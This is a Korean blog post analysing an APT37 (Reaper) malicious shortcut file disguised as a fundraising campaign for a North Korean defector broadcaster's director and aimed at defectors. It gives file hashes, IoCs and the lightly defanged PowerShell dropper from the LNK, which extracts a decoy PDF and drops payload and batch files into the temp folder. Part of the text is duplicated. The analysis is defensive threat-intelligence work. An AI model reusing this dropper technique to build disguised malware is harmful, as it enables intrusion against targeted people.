탈북자 분들을 노리는 북한 해킹 단체 APT37(Reaper)에 만든 악성코드-김x민대표님모금캠페인.lnk(2024.10.31)
Contents
오늘은 탈북자 분들을 노리는 북한 해킹 단체 APT37(Reaper)에 만든 악성코드에서 만든 김x민대표님모금캠페인.lnk(2024.10.31)에 대해 글을 적어 보겠습니다. 해당 악성코드는 자유북한방송의 대표 김x민 대표님 모금 캠페인으로 위장해서 유포했던 악성코드입니다.
일단 해당 대표님이 뇌종양이 발견되었던 것을 가지고 마치 탈북자 단체에서 성금을 모으려고 만든 문서로 돼 있지만 실제로는 악성코드입니다.
파일명:김X민대표님모금캠페인.lnk
사이즈:222 MB
MD5:144928fc87e1d50f5ed162bb1651ab24
SHA-1:e917166ed0096688994709acb94233ba3f3be39b
SHA-256:c045b9da0456430268861da18735f7e8ebb2d1df771ca803a2535bdc8f7a6e89
악성코드에 포함된 PowerShell 코드
StringData
{
namestring:
relativepath: not present
workingdir: not present
commandlinearguments: /k for /f "t(o)kens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerSh
e(l)l\v1.0\*rshell(.)exe /s /b /od') do c(a)ll %a "$(d)irPath = Get-Location; if($dirP
ath -Match 'Sys(t)em32' -or $dirPath -Match 'Program Files') {($)d(i)rPath = '%temp%'}
;$exs=@('(.)lnk');$lnkPath = Get-ChildItem -Path $dirP(a)th -Recur(s)e *.* -File | w(h)er
e {$_.extension -in $exs} | where-object {$_.length -eq 0x0(D)DA0CDE} | Select(-)Object
-ExpandPro(p)erty FullName ;$ln(k)File=New-Ob(j)ect System.IO.Fi(l)eStream($lnkPath,
[System.IO.FileMode]::Open, [System(.)IO(.)FileAccess]::R(e)ad);$lnkFile(.)Seek(0x000
0111A, [System(.)IO(.)SeekOrigin]::Begin);$pdfFile=Ne(w)-Object byte[] 0x0006A93F;$ln
kFile(.)Read($pdfFile, 0, 0x0(0)06A93F);$pdfPath = $lnkPath.replace('.lnk'(,)'.pdf');
sc $pdfPath $(p)dfFile -Encoding Byte;& $pdfPath;$lnk(F)ile.Seek(0x00(0)6BA59,[System
.IO.SeekO(r)igin]::Begin);$exeFile=New-Object byte[] 0(x)000D9190;$lnkFile(.)Read($ex
eFile, 0, 0x000D9190);$exePath=$env:temp+'\caption(.)dat';sc $exePath $e(x)eFile -Enc
oding Byte;$lnkFile.Seek(0x0(0)144BE9,[System.IO.SeekOrigin]::Begin);$stringByte = New-
Object byte[] 0x00000(6)36;$lnkFile.Read($stringByte, 0, 0x00000636); $batStrPath = $en
v:temp+'\'(+)'elephant(.)dat';$string = [System.Text.Encoding]::UTF8.GetString($s(t)rin
gByte);$stri(n)g | Out-File -FilePath $(b)atStrPath -Encoding ascii;$lnkFile(.)Seek(0x0
014521F,[System(.)IO(.)SeekOrigin]::Begin);$batByte = New-Object byte[] 0x0000014(7);$l
nkFile.Read($batByte, 0, 0x00000147);$executePath = $env:temp+'\'+'shark'+'e.b'(+)'a'+'
t'; Write-Host $executePath; …
일단 해당 대표님이 뇌종양이 발견되었던 것을 가지고 마치 탈북자 단체에서 성금을 모으려고 만든 문서로 돼 있지만 실제로는 악성코드입니다.
파일명:김X민대표님모금캠페인.lnk
사이즈:222 MB
MD5:144928fc87e1d50f5ed162bb1651ab24
SHA-1:e917166ed0096688994709acb94233ba3f3be39b
SHA-256:c045b9da0456430268861da18735f7e8ebb2d1df771ca803a2535bdc8f7a6e89
악성코드에 포함된 PowerShell 코드
StringData
{
namestring:
relativepath: not present
workingdir: not present
commandlinearguments: /k for /f "t(o)kens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerSh
e(l)l\v1.0\*rshell(.)exe /s /b /od') do c(a)ll %a "$(d)irPath = Get-Location; if($dirP
ath -Match 'Sys(t)em32' -or $dirPath -Match 'Program Files') {($)d(i)rPath = '%temp%'}
;$exs=@('(.)lnk');$lnkPath = Get-ChildItem -Path $dirP(a)th -Recur(s)e *.* -File | w(h)er
e {$_.extension -in $exs} | where-object {$_.length -eq 0x0(D)DA0CDE} | Select(-)Object
-ExpandPro(p)erty FullName ;$ln(k)File=New-Ob(j)ect System.IO.Fi(l)eStream($lnkPath,
[System.IO.FileMode]::Open, [System(.)IO(.)FileAccess]::R(e)ad);$lnkFile(.)Seek(0x000
0111A, [System(.)IO(.)SeekOrigin]::Begin);$pdfFile=Ne(w)-Object byte[] 0x0006A93F;$ln
kFile(.)Read($pdfFile, 0, 0x0(0)06A93F);$pdfPath = $lnkPath.replace('.lnk'(,)'.pdf');
sc $pdfPath $(p)dfFile -Encoding Byte;& $pdfPath;$lnk(F)ile.Seek(0x00(0)6BA59,[System
.IO.SeekO(r)igin]::Begin);$exeFile=New-Object byte[] 0(x)000D9190;$lnkFile(.)Read($ex
eFile, 0, 0x000D9190);$exePath=$env:temp+'\caption(.)dat';sc $exePath $e(x)eFile -Enc
oding Byte;$lnkFile.Seek(0x0(0)144BE9,[System.IO.SeekOrigin]::Begin);$stringByte = New-
Object byte[] 0x00000(6)36;$lnkFile.Read($stringByte, 0, 0x00000636); $batStrPath = $en
v:temp+'\'(+)'elephant(.)dat';$string = [System.Text.Encoding]::UTF8.GetString($s(t)rin
gByte);$stri(n)g | Out-File -FilePath $(b)atStrPath -Encoding ascii;$lnkFile(.)Seek(0x0
014521F,[System(.)IO(.)SeekOrigin]::Begin);$batByte = New-Object byte[] 0x0000014(7);$l
nkFile.Read($batByte, 0, 0x00000147);$executePath = $env:temp+'\'+'shark'+'e.b'(+)'a'+'
t'; Write-Host $executePath; …
IoC
144928fc87e1d50f5ed162bb1651ab24
c045b9da0456430268861da18735f7e8ebb2d1df771ca803a2535bdc8f7a6e89
e917166ed0096688994709acb94233ba3f3be39b
c045b9da0456430268861da18735f7e8ebb2d1df771ca803a2535bdc8f7a6e89
e917166ed0096688994709acb94233ba3f3be39b